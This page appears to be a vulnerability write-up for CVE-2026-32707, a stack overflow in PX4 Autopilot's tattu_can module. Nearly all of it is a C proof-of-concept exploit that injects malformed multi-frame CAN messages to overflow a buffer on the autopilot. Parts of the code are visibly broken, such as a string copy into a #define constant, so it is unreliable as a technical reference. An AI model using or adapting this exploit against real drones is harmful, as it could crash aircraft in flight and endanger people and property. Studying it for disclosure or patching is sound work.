CVE-2026-32707: PX4 Autopilot tattu_can无界memcpy栈溢出漏洞

// CVE-2026-32707 PoC - CAN Frame Injection for PX4 tattu_can Stack Overflow // This PoC demonstrates sending malformed multi-frame CAN messages // to trigger unbounded memcpy in tattu_can module #include <stdio.h> #include <stdlib.h> #include <string.h> #include <linux/can.h> #include <linux/can/raw.h> #include <net/if.h> #include <sys/socket.h> #define CAN_INTERFACE "can0" #define TATTU_CAN_ID 0x100 #define MALICIOUS_PAYLOAD_SIZE 256 // Exceeds stack buffer size int create_can_socket(const char *interface) { int sock = socket(PF_CAN, SOCK_RAW, CAN_RAW); if (sock < 0) { perror("Socket creation failed"); return -1; } struct ifreq ifr; strcpy(ifr.ifr_name, interface); ioctl(sock, SIOCGIFINDEX, &ifr); struct sockaddr_can addr; addr.can_family = AF_CAN; addr.can_ifindex = ifr.ifr_ifindex; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("Bind failed"); return -1; } return sock; } void send_malicious_multi_frame(int sock) { // First frame (FF) - indicates multi-frame message struct can_frame ff_frame; ff_frame.can_id = TATTU_CAN_ID | CAN_EFF_FLAG; ff_frame.can_dlc = 8; ff_frame.data[0] = 0x10; // First Frame Indicator + DLC memset(&ff_frame.data[1], 0x41, 7); // Padding // Send First Frame write(sock, &ff_frame, sizeof(struct can_frame)); // Consecutive frames with oversized payload for (int i = 0; i < 20; i++) { struct can_frame cf_frame; cf_frame.can_id = TATTU_CAN_ID | CAN_EFF_FLAG; cf_frame.can_dlc = 8; cf_frame.data[0] = 0x20 | (i & 0x0F); // Consecutive Frame + Sequence // Fill with pattern to overflow stack buffer memset(&cf_frame.data[1], 0x41, 7); write(sock, &cf_frame, sizeof(struct can_frame)); usleep(1000); // Small delay between frames } printf("[+] Malicious multi-frame CAN messages sent\n"); printf("[+] Target: %s, ID: 0x%x\n", CAN_INTERFACE, TATTU_CAN_ID); } int main(int argc, char *argv[]) { if (argc > 1) { strncpy(CAN_INTERFACE, argv[1], IFNAMSIZ-1); } printf("[*] CVE-2026-32707 PoC - PX4 tattu_can Stack Overflow\n"); printf("[*] Target: PX4 Autopilot < 1.17.0-rc2\n"); int sock = create_can_socket(CAN_INTERFACE); if (sock < 0) { fprintf(stderr, "[-] Failed to create CAN socket\n"); return 1; } send_malicious_multi_frame(sock); close(sock); return 0; }